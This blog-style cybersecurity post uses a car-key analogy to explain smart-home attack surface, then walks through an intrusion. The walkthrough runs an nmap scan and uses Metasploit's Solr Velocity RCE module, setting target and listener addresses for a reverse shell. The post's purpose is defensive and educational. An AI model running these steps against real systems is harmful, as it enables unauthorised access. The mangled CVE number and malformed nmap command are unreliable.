If someone has your car’s switch, can they open your house door?!

Honestly, I heard this question in passing, but I thought about it from another perspective. From a logical and technical standpoint, the answer is clear: No, because he has a key dedicated to a single device only. Owning a “key” does not necessarily grant the right to access a different system. But if you think about it as someone working in the field of cybersecurity… the reality today has become more complex than that answer.

In today’s world, where the car is connected to the house, the phone to the fridge, and the watch to the network… the idea of the Smart Home has turned this type of question from a joke into a very worrying reality.

Through this video you can watch the process of linking the car’s electronic display with the home’s garage door.

[embed]

The link to the topic is: You did not expect that through your car’s switch someone could reach your house and you might say “what’s the connection” because you do not know about the development that has taken place at all nor would you expect a small car switch to open a larger place like a house, and this is exactly the same as working inside an organization you are responsible for protecting

From an entry point you could never expect or you do not even know about, the attacker will be able to reach your system through that gap

The new reality: uncalculated connection = unexpected threatط

The car is connected to an app, the app is linked to a cloud account, and the account itself is authenticated on the home network — the same network that runs the cameras, lighting, and garage door. And here the problem begins ‼️ A small flaw in a single point (such as the car app) can give indirect permission to access another system (such as the home’s cameras)

This is exactly one of the concepts of Attack Surface Expansion. Every smart device we connect to the system adds a potential attack point… even if we do not consider it “important”. And here we must always think like “the attacker” not “the user”. This kind of thinking is required from you and it is what makes you a professional defender specialized in protecting an organization because in the future you will work inside a very sensitive place responsible for your entire system.

And through an IP address it might be one of the old devices that you do not know about or one of the old devices of the company which can allow entering the system in a hacking way by exploiting the vulnerability that the port may be infected with and you do not know:

Method of intrusion and a practical example of the exploitation process:

by Using the tools nmap Metasploit — msfconsole

1. After the attacker obtains the IP address, he first starts scanning and gathering information about the targeted address using nmap

nmap -sV -p- ip a

• From the resulting output we note that the

PORT | — -| STATE || SERVICE || VERSION 22/tcp | — -| open |-| ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 8983/tcp |-| open |-| http Apache Solr 18983/tcp || open || java-rmi Java RMI 45377/tcp || open || java-rmi Java RMI

2. Now he begins gathering information about the open services looking for a security weakness that can be exploited using msfconsole

• Notice that the output of the search confirms for us that the running service is vulnerable where the Apache service is affected by RCE Image illustrating the search process
• Now it becomes clear to us that the service is vulnerable to the exploit exploit/multi/http/solr_velocity_rce
• Solr Velocity RCE Exploit:
• Vulnerability: CVE-201–17558
• Type: Remote Code Execution via Velocity Template Injection
• Affected: Apache Solr versions 8.1.1 to 8.2.0
• Mechanism: Executes system commands by exploiting Velocity template processing
• Result: Gains remote command execution and reverse shell

Why This Exploit Was Selected:

• Nmap scan confirmed Apache Solr running on port 8983
• Metasploit search showed compatible exploit module
• Rated “excellent” for high reliability and success rate

Required Settings: RHOSTS, RPORT 8983, LHOST

And which can be exploited and a login performed and a shell injected using the same tool

3. Now the exploitation process begins using the vulnerability that was found

first we neds current terminal address:

now use Your current terminal addres that ip to crack :

use exploit/multi/http/solr_velocity_rce
set RHOSTS 172.20.34.41 # The primary target IP address
set RPORT 8983 # The standard port for Apache Solr (NOT 8080)
set LHOST 172.20.34.190 # Your current terminal address
exploit

• And now we begin the attack

5. Exploitation and control

• We notice that the exploitation process has been carried out and succeeded; thus we are now inside the targeted system, therefore we start a shell injection process to control the system

• Now we have full privileges inside the system to search for all files that the system contains and all other information

💡 The idea behind the write-up is:

Any device connected to a network is a potential entry point

• Not every technical vulnerability, sometimes the vulnerability is in the design and thinking approach
• For this reason, security should not be an add-on after implementation… it must be part of the idea from the first moment.
• This is where our role begins as cybersecurity specialists responsible for protecting a complete security system, through research and anticipating events and performing continuous penetration testing to verify safety.